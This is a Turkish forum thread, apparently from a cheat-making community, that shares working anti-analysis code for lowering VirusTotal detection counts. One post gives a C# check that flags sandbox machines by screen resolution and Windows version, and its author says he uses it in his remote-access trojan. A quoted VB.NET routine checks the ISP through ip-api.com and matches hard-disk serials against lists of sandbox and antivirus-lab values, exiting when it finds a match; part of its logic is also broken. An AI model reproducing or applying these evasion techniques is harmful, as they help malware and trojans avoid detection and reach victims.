Anti Virüs ByPass - VirusTotal Sonuçlarını Gizleyin

Virustotalde artık yaptığınız projeler 50 tane sonuç göstermek yerine 2-3 tane falan gösterecek. @Dreamfancy'den alıntı yaptım ama birazcık geliştirdim kodu.
kaynak: https://cheatglobal.com/konu/dream-...-aza-indir-ve-antivirueslere-yakalanma.36179/

yardımcı oliyim istersen sana direk luckycharm ratimde kulandığım kodu veriyim Virustotal 4 makinede runtime yapar, 1 windows 7, 1 windows 8, 1 windows vista, 1 windows 10 ve bu makinelerin hepsinin monitör boyu antik çağlardan kalan monitor boyları, kısacası bu kod virustotalin tüm runtimelerini anlar, tek kötü yanı çok düşük ihtimale gerçek bilgisayarıda vt algılayabilir ama bunun olam şansı %5 falan çünkü olması için adamın 2000 li yıllardan kalan monitör kulanması lazım. bu kod seninkinde çok daha işlevsel ve kısa

if ((Screen.PrimaryScreen.Bounds.Width == 1024 && Screen.PrimaryScreen.Bounds.Height == 768) || !(Environment.OSVersion.Version.Major > 6 || (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2)) || (Screen.PrimaryScreen.Bounds.Width == 1280 && Screen.PrimaryScreen.Bounds.Height == 1024) || (Screen.PrimaryScreen.Bounds.Width == 800 && Screen.PrimaryScreen.Bounds.Height == 600)) { // virustotal machine }

Lucretias' Alıntı:

Virustotalde artık yaptığınız projeler 50 tane sonuç göstermek yerine 2-3 tane falan gösterecek. @Dreamfancy'den alıntı yaptım ama birazcık geliştirdim kodu.
kaynak: https://cheatglobal.com/konu/dream-...-aza-indir-ve-antivirueslere-yakalanma.36179/

C#:

    Public ISP_Get As String = "0"
    Public ISP_Decrypt As String = "0"

    Public ISP_List As New List(Of String) From {{"Sony Network Communications Inc."}, {"OOO ""Network of data-centers ""Selectel"""}, {"SOVAM"}, {"Performive LLC"}, {"M247 Europe Infra"}, {"m247 europe infra"}, {"Ebone Network (Pvt) Ltd"}, {"Tefincom S.A."}, {"Hot-Net internet services Ltd."}, {"Emerald Onion"}, {"SK%20Broadband"}, {"OVH Hosting"}, {"Beijing Kingsoft Cloud Internet Technology Co"}, {"M247 Europe SRL"}, {"BEZEQINT"}, {"TOKAI Communications Corporation"}, {"Company for communications services A1 Makedonija DOOEL Skopje"}, {"EDN SOVINTEL"}, {"Google%20LLC"}, {"PJSC ""Vimpelcom"""}, {"Corbina Broadband Sovam"}, {"Sovam Teleport"}, {"ARCOR-IP"}, {"AVAST Software s.r.o"}, {"TELUS Communications Inc"}, {"Digital Network JSC"}, {"Shaw Communications Inc."}, {"UCLOUD"}, {"Comcast Cable Communications"}, {"Yandex.Cloud LLC"}, {"Siberian Aerospace Academy"}, {"SK Broadband"}, {"OVH SAS"}, {"Amazon.com, Inc."}, {"Google LLC"}}
    Public HDD_List As New List(Of String) From {{"8C65A894"}, {"F216C0FC"}, {"A044BE5A"}, {"ACFEEEC3"}, {"835A44B8"}, {"96E8FDB8"}, {"925ECBB2"}, {"BCF91B98"}, {"8FA9416"}, {"88FDB972"}, {"72C5196D"}, {"8A69F4B"}, {"7C783FD6"}, {"D609A6B9"}, {"8038B722"}, {"A8A68EEB"}, {"204D0C4F"}, {"A87F9AD4"}, {"BC637B40"}, {"CC5D85EE"}, {"AFB3BCC"}, {"DC8B3A5E"}, {"F8C9BD71"}, {"ACF28A20"}, {"91D435A9"}, {"2552D488"}, {"90549DEE"}, {"3C08B7A9"}}

   Private Sub Login_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        PC_Language = Thread.CurrentThread.CurrentCulture.Name
        My_Process_Name = Process.GetCurrentProcess().ProcessName
        Local_Disk = Environment.GetFolderPath(Environment.SpecialFolder.Windows)
        Local_Disk = Local_Disk.Substring(0, Local_Disk.Length - 7)
        Any_Run = GetDrive()

        Dim get_data As HttpResponseMessage = HTTP_Server.GetAsync("http://ip-api.com/json/?fields=61439").Result
        If get_data.IsSuccessStatusCode Then
            ISP_Get = get_data.Content.ReadAsStringAsync().Result
        Else
            ISP_Get = "1"
        End If

        Dim Json_Read As Dictionary(Of String, String) = JavaScript.Deserialize(Of Dictionary(Of String, String))(ISP_Get)
        ISP_Decrypt = Json_Read("isp")


        If HDD_List.Any(Function(item) Any_Run.Contains(item)) Then
            If PC_Language = "tr-TR" Then
                 MsgBox("AntiVirüs Laboratuvarında, bu program açılamaz.", MsgBoxStyle.Exclamation, "Uyarı")
             End If
            Application.Exit()
        Else
            If ISP_Get = "1" Then
                'BURDA FORMU AÇTIRABİLİRSİN
            Else
                If ISP_Decrypt.Any(Function(item) Any_Run.Contains(item)) Then
                    If PC_Language = "tr-TR" Then
                        MsgBox("AntiVirüs Laboratuvarında, bu program açılamaz.", MsgBoxStyle.Exclamation, "Uyarı")
                   End If
                    Application.Exit()
                Else
                    'BURDA FORMU AÇTIRABİLİRSİN
                End If
            End If
        End If
    End Sub

Genişletmek için tıkla ...

bu c# değil bu arada bir zamanların tüm hile geliştiricilerinin sol yanı visual basic